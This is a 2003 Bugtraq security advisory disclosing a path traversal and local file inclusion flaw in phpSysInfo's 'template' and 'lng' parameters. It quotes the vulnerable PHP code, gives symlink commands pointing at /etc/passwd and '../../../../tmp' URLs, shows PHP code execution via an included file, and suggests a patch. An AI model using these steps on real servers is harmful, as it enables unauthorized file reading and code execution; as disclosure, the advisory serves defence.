bugtraq - Unauthorized reading files on phpSysInfo

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Date: Fri, 25 Apr 2003 08:22:23 +0100
From: Albert Puigsech Galicia <ripe@...9ezine.org>
To: bugtraq@...urityfocus.com
Subject: Unauthorized reading files on phpSysInfo


/-----------------------------------------------------------------------------\
|                             7 A 6 9 - A d v                          C: 007
|-----------------------------------------------------------------------------|
|
|              [ Unauthorized reading files on phpSysInfo ]
|
\-----------------------------------------------------------------------------/
                                                                | 01/04/2003 |


Data.
-----

        + Type:         To gain visiblity.

        + Software:     phpSysInfo.

        + Verions:      until 2.1 (current version).

        + Exploit:      Yes (but only local).

        + Autor:        Albert Puigsech Galicia

        + Contact:      ripe@...9ezine.org



Information.
------------

        PhpSysInfo is a litle PHP script destined to show system information.
It shows data like CPU or memory usage, Disk usage, PCI, ethernet, and IDE
information, etc. Visit project website on  http://phpsysinfo.sourceforge.net
for more info.


Description.
------------

        PhpSysInfo uses a template system using 'template' variable, and a
languaje system using 'lng' variable. These variables are used to complete
a file path without check if it contains the '..' especial directory, allowing
to read any file on system as webserver user.


Exploiting.
-----------

        The exploit of this vulnerability require write access on a local
directory where webserver can read files.

        On template case, phpSysInfo cheks only if template exists. To do
it only check if 'templates/$template' exists.


---/ index.php /---

if (!((isset($template) && file_exists("templates/$template")) || $template ==
'xml')) {
    // default template we should use if we don't get a argument.
    $template = 'classic';
}

---/ index.php /---


        Exactly the same on languaje selection system.


---/ index.php /---

if (!(isset($lng) && file_exists('./includes/lang/' . $lng . '.php'))) {
    $lng = 'en';
    // see if the browser knows the right languange.
    if(isset($HTTP_ACCEPT_LANGUAGE)) {
        $plng = split(',', $HTTP_ACCEPT_LANGUAGE);
        if(count($plng) > 0) {
            while(list($k,$v) = each($plng)) {
                $k = split(';', $v, 1);
                $k = split('-', $k[0]);
                if(file_exists('./includes/lang/' . $k[0] . '.php')) {
                    $lng = $k[0];
                    break;
                }
            }
        }
    }
}

---/ index.php /---

        'template, variable will be used to use the file
'./templates/$template/form.tpl' and './templates/$template/box.tpl'
for template stuff, so is necesary ti create the symlinks to read
any file allowed to webserver.


        local ~$ ln -s /etc/passwd /tmp/form.tpl
        local ~$ ln -s /etc/passwd /tmp/box.tpl

        http://vulnerable/index.php?template=../../../../tmp


        'lng' variable is used on this peace of code:

---/ index.php /---

require('./includes/lang/' . $lng . '.php');   // get our language include

---/ index.php /---


        It allow us, as the same way as 'template' to read a file on
the system.


        local ~$ ln -s /etc/passwd /tmp/p.php

        http://vulnerable/index.php?lng=../../../../tmp/p


        But it also allow to execute arbitrary PHP code, creating the php
file firts.


        local ~$ echo "<?php phpinfo() ?>" > /tmp/p.php

        http://vulnerable/index.php?lng=../../../../tmp/p


        The use of '.' php function to concat strings remote exploit for
this vulnerable php script, because we cant use %00 to end the string.


Patch.
------

        There is not an oficial patch, but is easy to code it adding some
regex on the code to filter '..' content on 'template' and 'lng' variables.



--
>====================================
> Albert Puigsech Galicia (7a69)
>
> http://ripe.7a69ezine.org
>====================================